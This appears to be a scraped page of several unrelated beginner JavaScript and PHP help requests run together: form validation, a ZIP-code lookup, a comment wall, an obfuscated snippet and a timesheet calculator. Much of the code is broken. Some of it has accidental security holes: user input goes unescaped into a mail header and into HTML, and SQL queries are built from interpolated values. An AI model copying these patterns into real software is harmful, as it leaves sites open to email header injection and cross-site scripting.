alert("Please enter a first name"); } else (document.forms[0].check0.checked=true); isValid=true; if (document.forms[0].lastName=="" || document.forms[0].lastName== null){ alert("Please enter a last name"); isValid = false; } else (document.forms[0].check1.checked=true); isValid=true; if (document.forms[0].email=="" || document.forms[0].email== null) { alert("Please enter a valid email"); } else return (document.forms[0].check0.checked=true); isValid=true; if (document.forms[0].bDate=="" || document.forms[0].bDate== null) { isValid=false; alert("please make sure you enter a valid birth date."); } else (document.forms[0].check0.checked=true); isValid=true; } } here is the form html... <form name="myform" > <input type="checkbox" name="check0" class="check0" id="check0" > First: <input type="text" name="firstName" id="firstName"> <BR> <input type="checkbox" name="check1" class="check1" id="check1" > Last: <input type="text" name="lastName" id="lastName" ><BR> <input type="checkbox" name="check2" class="check2" id="check2" > E-Mail: <input type="text" name="email" id="email"> <BR> <input type="checkbox" name="check3" class="check3" id="check3" > Birthday (mm/dd/yyyy): <input type="text" name="bDate" id="bDate"> <BR> <input type="submit" value="Join our mailing List" /> </form> Hi guys.. I really need a bit of help.. is anyone looking at this good with JS? I have a php form validation script but i think its a bit slow and would rather a JS script instead... here is what i have in php.. PHP Code: <?php if(isset($_POST['submit'])) { $firstName = $_POST['firstName']; $lastName = $_POST['lastName']; $email = $_POST['email']; $mobile = $_POST['mobile']; $comments = $_POST['comments']; $errors = array(); function display_errors($error) { echo "<p class=\"formMessage\">"; echo $error[0]; echo "</p>"; } function validateNames($names) { return(strlen($names) < 3); } function validateEmail($strValue) { $strPattern = '/([A-Z0-9._%+-]+@(?:[A-Z0-9-]+\.)+[A-Z]{2,4})/sim'; return(preg_match($strPattern,$strValue)); } function validateMobile($strValue) { $strPattern = '/^\d{10}$/'; return(preg_match($strPattern,$strValue)); } function validateComments($comments) { return(strlen($comments) < 10); } if(validateNames($firstName)) { $errors[] = 'Please Enter Your First Name'; } if(validateNames($lastName)) { $errors[] = 'Please Enter Your Second Name'; } if(!validateEmail($email)) { $errors[] = 'Please Enter Your Correct Email'; } if(!validateMobile($mobile)) { $errors[] = 'Please Enter Your Correct Mobile Number'; } if(validateComments($comments)) { $errors[] = 'Please Enter A Comment More Than 10 Characters'; } if(empty($errors)) { $to = "info@eventpromotion.ie"; $subject = "Event Promotion Enquiry!"; $body = "First Name: " . $_POST['firstName'] . "\nLast Name: " . $_POST['lastName'] . "\nEmail: " . $_POST['email'] . "\nMobile: " . $_POST['mobile'] . "\nMessage: " . $_POST['comments']; $headers = "From: ". $firstName ." ". $lastName . " <" . $email . ">\r\n"; if (mail($to, $subject, $body, $headers)) { echo("<p class=\"formMessage\">Thanks for submitting your enquiry.</p>"); } else { echo("<p class=\"formMessage\">Message delivery failed.</p>"); } } else { //echo "error"; display_errors($errors); } } ?> <form id="form" method="post" action="index.php#quickContact"> <p> <label>First Name</label><br /> <input type="text" name="firstName" value="<?php if(isset($firstName)){echo $firstName;} ?>" /> </p> <p> <label>Last Name</label><br /> <input type="text" name="lastName" value="<?php if(isset($lastName)){echo $lastName;} ?>" /> </p> <p> <label>Email:</label><br /> <input type="text" name="email" value="<?php if(isset($email)){echo $email;} ?>" /> </p> <p> <label>Mobile:</label><br /> <input type="text" name="mobile" value="<?php if(isset($mobile)){echo $mobile;} ?>" /> </p> <p> <label>Comments:</label> <br /> <textarea name="comments" cols="30" rows="3" ><?php if(isset($comments)){echo $comments;} ?></textarea> </p> <p> <input class="send" type="image" src="images/submit2.gif" name="submit" value="Submit" /></p> </form> does anyone know how to transfer this to JS so that it will be easy to understand.. Im not good with JS at all Hey everyone here is my code for looking up a city, and state by zip code. I am getting no errors and i believe it should work, but the code does not seem to want to function. Any ideas? Here is my code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>City and State Lookup</title> <style type="text/css"> h1 { font-family:Arial; color:navy; } p, td { font-family:arial; font-size:11px; } </style> <script type="text/javascript"> /* <![CDATA[ */ var httpRequest = false; function getRequestObject() { try { httpRequest = new XMLHttpRequest(); } catch (requestError) { try { httpRequest = new ActiveXObject ("Msxm12.XMLHTTP"); } catch (requestError) { try { httpRequest = new ActiveXObject ("Microsoft.XMLHTTP"); } catch (requestError) { window.alert("Your browser does not support AJAX!"); return false; } } } return httpRequest; } function updateCityState() { if (!httpRequest) httpRequest = getRequestObject(); httpRequest.abort(); httpRequest.open("get","zip.xml"); httpRequest.send(null); httpRequest.onreadystatechange=getZipInfo; } function getZipInfo() { if (httpRequest.readyState==4 && httpRequest.status == 200) { var zips = httpRequest.responseXML; var locations = zips.getElementsByTagName("Row"); var notFound = true; for (var i=0; i<locations.length; ++i) { if (document.forms[0].zip.value == zips.getElementsByTagName( "ZIP_Code")[i].childNodes[o].nodeValue) { document.forms[0].city.value = zips.getElementsByTagname( "City") [i].childNodes[0].nodeValue; document.forms[0].state.value = zips.getElementByTagName( "State_Abbreviation")[i].childNodes[0].nodeValue; notFound = flase; break; } } if (notFound) { window.alert("Invalid ZIP code!"); document.forms[0].city.value = ""; document.forms[0].state.value = ""; } } } /* ]]> */ </script> </head> <body> <h1>City and State Lookup </h1> <form action=""> <p>Zip code <input type="text" size="5" name="zip" id="zip" onblur="updateCityState()" /></p> <p>City <input type="text" name="city" /> State <input type="text" size="2" name="state" /></p> </form> </body> </html> Ok guys if you look at this page www.runningprofiles.com/members/shout/view.php my code works great.... But when i add it to the rest of the script the code wont work shows he http://www.runningprofiles.com/membe...ll_Script.php# Below is view.php (the one that works) and the one added to the code scirpt is the one the does not. PHP Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/ libs/jquery/1.3.0/jquery.min.js"></script> <script type="text/javascript"> $(function() { $(".view_comments").click(function() { var ID = $(this).attr("id"); $.ajax({ type: "POST", url: "viewajax.php", data: "msg_id="+ ID, cache: false, success: function(html){ $("#view_comments"+ID).prepend(html); $("#view"+ID).remove(); $("#two_comments"+ID).remove(); } }); return false; }); }); </script> <ol> <?php //Here $id is main message msg_id value. $csql=mysql_query("select * from comments where msg_id_fk='130' order by com_id "); $comment_count=mysql_num_rows($csql); if($comment_count>2) { $second_count=$comment_count-2; ?> <div class="comment_ui" id="view130"> <a href="#" class="view_comments" id="130">View all <?php echo $comment_count; ?> comments</a> </div> <?php } else { $second_count=0; } ?> <div id="view_comments130"></div> <div id="two_comments130"> <table width="30%"> <?php $small=mysql_query("select * from comments where msg_id_fk='130' order by com_id limit $second_count,2 "); while($rowsmall=mysql_fetch_array($small)) { $c_id=$rowsmall['com_id']; $comment=$rowsmall['comment']; ?> <div class="comment_actual_text"> <tr> <td style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" valign="top"> <table style="WIDTH: 100%; BORDER-COLLAPSE: collapse" align="left"> <tr> <td width="5%" style="VERTICAL-ALIGN: middle; TEXT-ALIGN: center"><img style="WIDTH: 30px; HEIGHT: 30px" alt="srinivas" src="http://www.gravatar.com/avatar.php?gravatar_id=7a9e87053519e0e7a21bb69d1deb6dfe" border="1" /></td> <td style="VERTICAL-ALIGN: top; TEXT-ALIGN: left"> <strong>Jarratt</strong> <?php echo $comment; ?> <br /><span style="COLOR: #a9a9a9">10 min ago - ID = <?php echo $c_id;?> </span></td> </tr> </table><br /> </td> </tr> </div> <?php } ?> </table> </div> </ol> Facebook_Wall_Script.php PHP Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>9lessons Applicatio Demo</title> <link href="frame.css" rel="stylesheet" type="text/css"> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js"></script> <script type="text/javascript" src="jquery.oembed.js"></script> <script type="text/javascript"> <script type="text/javascript"> $(function() { $(".view_comments").click(function() { var ID = $(this).attr("id"); $.ajax({ type: "POST", url: "../viewajax.php", data: "msg_id="+ ID, cache: false, success: function(html){ $("#view_comments"+ID).prepend(html); $("#view"+ID).remove(); $("#two_comments"+ID).remove(); } }); return false; }); }); $(function() { $(".comment_button").click(function() { var element = $(this); var boxval = $("#content").val(); var dataString = 'content='+ boxval; if(boxval=='') { alert("Please Enter Some Text"); } else { $("#flash").show(); $("#flash").fadeIn(400).html('<img src="ajax.gif" align="absmiddle"> <span class="loading">Loading Update...</span>'); $.ajax({ type: "POST", url: "update_ajax.php", data: dataString, cache: false, success: function(html){ $("ol#update").prepend(html); $("ol#update li:first").slideDown("slow"); document.getElementById('content').value=''; $('#content').value=''; $('#content').focus(); $("#flash").hide(); $("#expand_url").oembed(boxval); } }); } return false; }); / Delete Wall Update $('.delete_update').live("click",function() { var ID = $(this).attr("id"); var dataString = 'msg_id='+ ID; var parent=$("#bar"+ID); jConfirm('Are you sure you want to delete this message?', 'Confirmation Dialog', function(r) { if(r==true) { $.ajax({ type: "POST", url: "delete_update.php", data: dataString, cache: false, success: function(html){ parent.slideUp(300,function() { parent.remove(); }); } }); } }); return false; });//comment slide $('.comment').live("click",function() { var ID = $(this).attr("id"); $(".fullbox"+ID).show(); $("#c"+ID).slideToggle(300); return false; }); //commment Submint $('.comment_submit').live("click",function() { var ID = $(this).attr("id"); var comment_content = $("#textarea"+ID).val(); var dataString = 'comment_content='+ comment_content + '&msg_id=' + ID; if(comment_content=='') { alert("Please Enter Comment Text"); } else { $.ajax({ type: "POST", url: "comment_ajax.php", data: dataString, cache: false, success: function(html){ $("#commentload"+ID).append(html); document.getElementById("textarea"+ID).value=''; $("#textarea"+ID).focus(); } }); } return false; }); // Delete Wall Update $('.delete_update').live("click",function() { var ID = $(this).attr("id"); var dataString = 'msg_id='+ ID; var parent=$("#bar"+ID); jConfirm('Are you sure you want to delete this message?', 'Confirmation Dialog', function(r) { if(r==true) { $.ajax({ type: "POST", url: "delete_comment.php", data: dataString, cache: false, success: function(html){ $("#comment"+ID).slideUp(); } }); } return false; }); return false; }); </script> <style type="text/css"> body { font-family:Arial, Helvetica, sans-serif; font-size:12px; } .update_box { background-color:#D3E7F5; border-bottom:#ffffff solid 1px; padding-top:3px } a { text-decoration:none; color:#d02b55; } a:hover { text-decoration:underline; color:#d02b55; } *{margin:0;padding:0;} ol.timeline {list-style:none;font-size:1.2em;}ol.timeline li{ display:none;position:relative; }ol.timeline li:first-child{border-top:1px dashed #006699;} .delete_button { float:right; margin-right:10px; width:20px; height:20px } .cdelete_button { float:right; margin-right:10px; width:20px; height:20px } .feed_link { font-style:inherit; font-family:Georgia; font-size:13px;padding:10px; float:left; width:350px } .comment { color:#0000CC; text-decoration:underline } .delete_update { font-weight:bold; } .cdelete_update { font-weight:bold; } .post_box { height:55px;border-bottom:1px dashed #006699;background-color:#F3F3F3; width:499px;padding:.7em 0 .6em 0;line-height:1.1em; } #fullbox { margin-top:6px;margin-bottom:6px; display:none; } .comment_box { display:none;margin-left:90px; padding:10px; background-color:#d3e7f5; width:300px; height:50px; } .comment_load { margin-left:90px; padding:10px; background-color:#d3e7f5; width:300px; height:30px; font-size:12px; border-bottom:solid 1px #FFFFFF; } .text_area { width:290px; font-size:12px; height:30px; } #expand_box { margin-left:90px; margin-top:5px; margin-bottom:5px; } embed { width:200px; height:150px; } </style> </head> <body> <?php include '../../../settings.php'; ?> <div align="center"> <table cellpadding="0" cellspacing="0" width="500px"> <tr> <td> <div align="left"> <form method="post" name="form" action=""> <table cellpadding="0" cellspacing="0" width="500px"> <tr><td align="left"><div align="left"> <h3>What are you doing?</h3></div></td></tr> <tr> <td style="padding:4px; padding-left:10px;" class="update_box"> <textarea cols="30" rows="2" style="width:480px;font-size:14px; font-weight:bold" name="content" id="content" maxlength="145" ></textarea><br /> <input type="submit" value="Update" id="v" name="submit" class="comment_button"/> </td> </tr> </table> </form> </div> <div style="height:7px"></div> <div id="flash" align="left" ></div> <ol id="update" class="timeline"> </ol> <div id='old_updates'> <?php $small=mysql_query("select * from messages2 order by msg_id desc LIMIT 5"); while($r=mysql_fetch_array($small)) { $id=$r['msg_id']; $msg=$r['message']; ?> <div align="left" class="post_box"> <span style="padding:10px"><?php echo $msg.'....'.$id; ?> </span> </div> <ol> <?php //Here $id is main message msg_id value. $csql=mysql_query("select * from comments where msg_id_fk='$id' order by com_id "); $array = mysql_fetch_assoc($csql); $comment_count=mysql_num_rows($csql); if($comment_count>2) { $second_count=$comment_count-2; ?> <div class="comment_ui" id="view<?php echo $id; ?>"> <a href="#" class="view_comments" id="<?php echo $id; ?>">View all <?php echo $comment_count; ?> comments</a> </div> <?php } ?> <div id="view_comments<?php echo $id; ?>"></div> <div id="two_comments<?php echo $id; ?>"> <table width="50%"> <?php $small2=mysql_query("select * from comments where msg_id_fk='$id' order by com_id limit 2 "); while($rowsmall22=mysql_fetch_array($small2)) { $c_id=$rowsmall22['com_id']; $comments=$rowsmall22['comment']; ?> <div class="comment_actual_text"> <tr> <td style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" valign="top"> <table style="WIDTH: 100%; BORDER-COLLAPSE: collapse" align="left"> <tr> <td width="5%" style="VERTICAL-ALIGN: middle; TEXT-ALIGN: center"><img style="WIDTH: 30px; HEIGHT: 30px" alt="srinivas" src="http://www.gravatar.com/avatar.php?gravatar_id=7a9e87053519e0e7a21bb69d1deb6dfe" border="1" /></td> <td style="VERTICAL-ALIGN: top; TEXT-ALIGN: left"> <strong>Jarratt</strong> <?php echo $comments; ?> <br /><span style="COLOR: #a9a9a9">10 min ago - ID = <?php echo $c_id.'...'.$id;?> </span></td> </tr> </table><br /> </td> </tr> </div> <?php } ?> </table> </div> </ol> <?php } ?> </div> </td> </tr> </table> </div> </body> </html> I need to know/find out what type of Code Encryptor was used on this code. I want the exact code encryptor. Here's the code that has been encrypted: Code: <script type="text/javascript">document.write('\u003C\u0073\u0074\u0079\u006C\u0065\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\');</script> if you want to see more of the code, go to http://leilockheart.me That is not my code. Please someone help me find out what code encryptor was used for that code above! I need it for my website as well. The other code encryptor does not work for me; people can still decode it. Also, is there a way to decode that code? Whatever that code encryptor was, it sure worked. I have googled it and I still can't find out which one that person used. Thanks! function allo(val) { var cc=new Array; var n=0; for (var i=1; i<=9; ++i) { if (((1<<i) & val)==0) cc[n++]=i; } return cc; } function mct(d) { if (d&1) { for (var i=1; i<=9; ++i) if ((d | (1<<i))==1023) return ""+i; return "_"; } else { return "?"+allo(d); } } I see some strange symbols like "<<" and "&" that I have never seen in Javascript. Can anyone help me? Code: <html> <head> <script language="JavaScript" src="gen_validatorv5-.js" type="text/javascript" xml:space="preserve"></script> <script type="text/javascript"> function calc(nForm){ var inHour =parseInt( nForm.inHr.value) var inMinutes = parseInt( nForm.inMin.value); var lunchOutHour = parseInt(nForm.lunchOutHr.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin.value); var lunchInHour = parseInt( nForm.lunchInHr.value); var lunchInMinutes = parseInt( nForm.lunchInMin.value); var outHour = parseInt( nForm.outHr.value); var outMinutes = parseInt( nForm.outMin.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked.value = hoursWorked+""+minutesWorked; } function calc2(nForm){ var inHour =parseInt( nForm.inHr2.value) var inMinutes = parseInt( nForm.inMin2.value); var lunchOutHour = parseInt(nForm.lunchOutHr2.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin2.value); var lunchInHour = parseInt( nForm.lunchInHr2.value); var lunchInMinutes = parseInt( nForm.lunchInMin2.value); var outHour = parseInt( nForm.outHr2.value); var outMinutes = parseInt( nForm.outMin2.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked2.value = hoursWorked+""+minutesWorked; } function calc3(nForm){ var inHour =parseInt( nForm.inHr3.value) var inMinutes = parseInt( nForm.inMin3.value); var lunchOutHour = parseInt(nForm.lunchOutHr3.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin3.value); var lunchInHour = parseInt( nForm.lunchInHr3.value); var lunchInMinutes = parseInt( nForm.lunchInMin3.value); var outHour = parseInt( nForm.outHr3.value); var outMinutes = parseInt( nForm.outMin3.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked3.value = hoursWorked+""+minutesWorked; } function calc4(nForm){ var inHour =parseInt( nForm.inHr4.value) var inMinutes = parseInt( nForm.inMin4.value); var lunchOutHour = parseInt(nForm.lunchOutHr4.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin4.value); var lunchInHour = parseInt( nForm.lunchInHr4.value); var lunchInMinutes = parseInt( nForm.lunchInMin4.value); var outHour = parseInt( nForm.outHr4.value); var outMinutes = parseInt( nForm.outMin4.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked4.value = hoursWorked+""+minutesWorked; } function calc5(nForm){ var inHour =parseInt( nForm.inHr5.value) var inMinutes = parseInt( nForm.inMin5.value); var lunchOutHour = parseInt(nForm.lunchOutHr5.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin5.value); var lunchInHour = parseInt( nForm.lunchInHr5.value); var lunchInMinutes = parseInt( nForm.lunchInMin5.value); var outHour = parseInt( nForm.outHr5.value); var outMinutes = parseInt( nForm.outMin5.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked5.value = hoursWorked+""+minutesWorked; } function calc6(nForm){ var inHour =parseInt( nForm.inHr6.value) var inMinutes = parseInt( nForm.inMin6.value); var lunchOutHour = parseInt(nForm.lunchOutHr6.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin6.value); var lunchInHour = parseInt( nForm.lunchInHr6.value); var lunchInMinutes = parseInt( nForm.lunchInMin6.value); var outHour = parseInt( nForm.outHr6.value); var outMinutes = parseInt( nForm.outMin6.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked6.value = hoursWorked+""+minutesWorked; } function calc7(nForm){ var inHour =parseInt( nForm.inHr7.value) var inMinutes = parseInt( nForm.inMin7.value); var lunchOutHour = parseInt(nForm.lunchOutHr7.value); var lunchOutMinutes = parseInt( nForm.lunchOutMin7.value); var lunchInHour = parseInt( nForm.lunchInHr7.value); var lunchInMinutes = parseInt( nForm.lunchInMin7.value); var outHour = parseInt( nForm.outHr7.value); var outMinutes = parseInt( nForm.outMin7.value); var linearInTime = (inHour/1)+(inMinutes/60); var linearLunchOutTime = (lunchOutHour/1)+(lunchOutMinutes/60); var linearLunchInTime = (lunchInHour/1)+(lunchInMinutes/60); var linearOutTime = (outHour/1)+(outMinutes/60); var workDay = linearOutTime-linearInTime; var lunchPeriod = linearLunchInTime-linearLunchOutTime; var linearMinutesWorked = workDay-lunchPeriod; var hoursWorked = parseInt(linearMinutesWorked/60); var minutesWorked = linearMinutesWorked-hoursWorked nForm.timeWorked7.value = hoursWorked+""+minutesWorked; } </script> </head> <body> <div align="center"> <h1> <script src='scripts/gen_validatorv5.js' type='text/javascript'></script> <script src='scripts/sfm_moveable_popup.js' type='text/javascript'></script> <style type='text/css'> .error_strings { font-family:Verdana; font-size:10px; color:#660000; } .sfm_float_error_box { position:absolute; z-index:999; cursor:default; font-family:Verdana; font-size:10px; color:#660000; background-color:#ffff66; border-style:solid; border-width:1px; border-color:#660000; } .sfm_float_box_td { padding:3px; cursor:default; font-family:Verdana; font-size:10px; color:#660000; background-color:#ffff66; } .sfm_close_box { font-family:Verdana; font-size:10px; font-weight:bold; color:#ffffff; background-color:#660000; border-width:0px; text-align:center; } .sfm_cr_box { font-family:Verdana; font-size:10px; color:#888888; border-style:solid; border-width:0px; border-color:#660000; } .sfm_cr_box a { color:#888888; } </style> Masquerade Timesheet Entry</h1> </div> <div id='timeSheet_errorloc' class='error_strings' style=''></div> <form name='timeSheet'> <table width="833" height="244" border="1" align="center"> <tr> <td width="266"><p>Sunday:</p> <p>Clock In: <label> <input name="inHr7" type="text" id="inHr7" size="10" maxlength="2"> </label>   <label> <input name="inMin7" type="text" id="inMin7" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr7" type="text" id="lunchOutHr7" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin7" type="text" id="lunchOutMin7" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr7" type="text" id="lunchInHr7" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin7" type="text" id="lunchInMin7" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr7" type="text" id="outHr7" size="10" maxlength="2"> </label>   <label> <input name="outMin7" type="text" id="outMin7" size="10" maxlength="2"> </label> </p> <p>Time Worked: <input type='text' name='timeWorked7' size='5' readonly> </p> </td> <td width="269"><p align="left">Monday :</p> Clock In: <label> <input name="inHr" type="text" id="inHr" size="10" maxlength="2"> </label>   <label> <input name="inMin" type="text" id="inMin" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr" type="text" id="lunchOutHr" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin" type="text" id="lunchOutMin" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr" type="text" id="lunchInHr" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin" type="text" id="lunchInMin" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr" type="text" id="outHr" size="10" maxlength="2"> </label>   <label> <input name="outMin" type="text" id="outMin" size="10" maxlength="2"> </label> <p>Time Worked: <input type='text' name='timeWorked' size='5' readonly> </p> </td> <td width="276"><p>Tuesday:</p> <p>Clock In: <label> <input name="inHr2" type="text" id="inHr2" size="10" maxlength="2"> </label>   <label> <input name="inMin2" type="text" id="inMin2" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr2" type="text" id="lunchOutHr2" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin2" type="text" id="lunchOutMin2" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr2" type="text" id="lunchInHr2" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin2" type="text" id="lunchInMin2" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr2" type="text" id="outHr2" size="10" maxlength="2"> </label>   <label> <input name="outMin2" type="text" id="outMin2" size="10" maxlength="2"> </label> </p> <p>Time Worked: <input type='text' name='timeWorked2' size='5' readonly> </p></td> </tr> <tr> <td><p>Wednesday:</p> <p>Clock In: <label> <input name="inHr3" type="text" id="inHr3" size="10" maxlength="2"> </label>   <label> <input name="inMin3" type="text" id="inMin3" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr3" type="text" id="lunchOutHr3" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin3" type="text" id="lunchOutMin3" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr3" type="text" id="lunchInHr3" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin3" type="text" id="lunchInMin3" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr3" type="text" id="outHr3" size="10" maxlength="2"> </label>   <label> <input name="outMin3" type="text" id="outMin3" size="10" maxlength="2"> </label> </p> <p>Time Worked: <input type='text' name='timeWorked3' size='5' readonly> </p></td> <td><p>Thursday:</p> <p>Clock In: <label> <input name="inHr4" type="text" id="inHr4" size="10" maxlength="2"> </label>   <label> <input name="inMin4" type="text" id="inMin4" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr4" type="text" id="lunchOutHr4" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin4" type="text" id="lunchOutMin4" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr4" type="text" id="lunchInHr4" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin4" type="text" id="lunchInMin4" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr4" type="text" id="outHr4" size="10" maxlength="2"> </label>   <label> <input name="outMin4" type="text" id="outMin4" size="10" maxlength="2"> </label> </p> <p>Time Worked: <input type='text' name='timeWorked4' size='5' readonly> </p></td> <td><p>Friday:</p> <p>Clock In: <label> <input name="inHr5" type="text" id="inHr5" size="10" maxlength="2"> </label>   <label> <input name="inMin5" type="text" id="inMin5" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr5" type="text" id="lunchOutHr5" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin5" type="text" id="lunchOutMin5" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr5" type="text" id="lunchInHr5" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin5" type="text" id="lunchInMin5" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr5" type="text" id="outHr5" size="10" maxlength="2"> </label>   <label> <input name="outMin5" type="text" id="outMin5" size="10" maxlength="2"> </label> </p> <p>Time Worked: <input type='text' name='timeWorked5' size='5' readonly> </p></td> </tr> </table> <table width="559" border="1" align="center"> <tr> <td width="277"><p>Saturday:</p> <p>Clock In: <label> <input name="inHr6" type="text" id="inHr6" size="10" maxlength="2"> </label>   <label> <input name="inMin6" type="text" id="inMin6" size="10" maxlength="2"> </label> <br> Lunch Out: <label> <input name="lunchOutHr6" type="text" id="lunchOutHr6" size="10" maxlength="2"> </label>   <label></label> <input name="lunchOutMin6" type="text" id="lunchOutMin6" size="10" maxlength="2"> <br> Lunch In: <label> <input name="lunchInHr6" type="text" id="lunchInHr6" size="10" maxlength="2"> </label>   <label> <input name="lunchInMin6" type="text" id="lunchInMin6" size="10" maxlength="2"> </label> <br> Clock Out: <label> <input name="outHr6" type="text" id="outHr6" size="10" maxlength="2"> </label>   <label> <input name="outMin6" type="text" id="outMin6" size="10" maxlength="2"> </label> </p> <p>Time Worked: <input type='text' name='timeWorked6' size='5' readonly> </p></td> <td width="266"><p> <input type='text' name='timeWorked8' size='5' readonly> </p> <p> <input type='button' value="Calculate" onClick="calc(this.form),calc2(this.form),calc3(this.form), calc4(this.form),calc5(this.form),calc6(this.form),calc7(this.form),calc8(this.form)"> <input type="button" name="reset_form" value="Clear Forms" onClick="this.form.reset();"> </p> <div align="left"> <p> </p> <p>Total Time Worked:</p> <label></label> </div></td> </tr> </table> <p align="left"> </P> <p align="left"><br> <br> <br> <br> </P> </form ><p> </p> <p> </p> </body> </html> First off, I know there must be an easier way to code this. Also, I would like to make sure validation, where they only can input numbers but whenever I try, it doesn't work at all. Hey guys, Im trying to write a simple sentence scrambler but I am having trouble with the document.getelementbyid part. any suggestions? <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Problem 3</title> <script language="javascript" type="text/javascript"> function assemble() { alert("Your sentence in the correct order:" + document.getElementById("word1").value +" "+document.getElementById("word2").value +" "+document.getElementById("word3").value +" "+document.getElementById("word4").value +" "+document.getElementById("word5").value + "."); } </script> </head> <body> 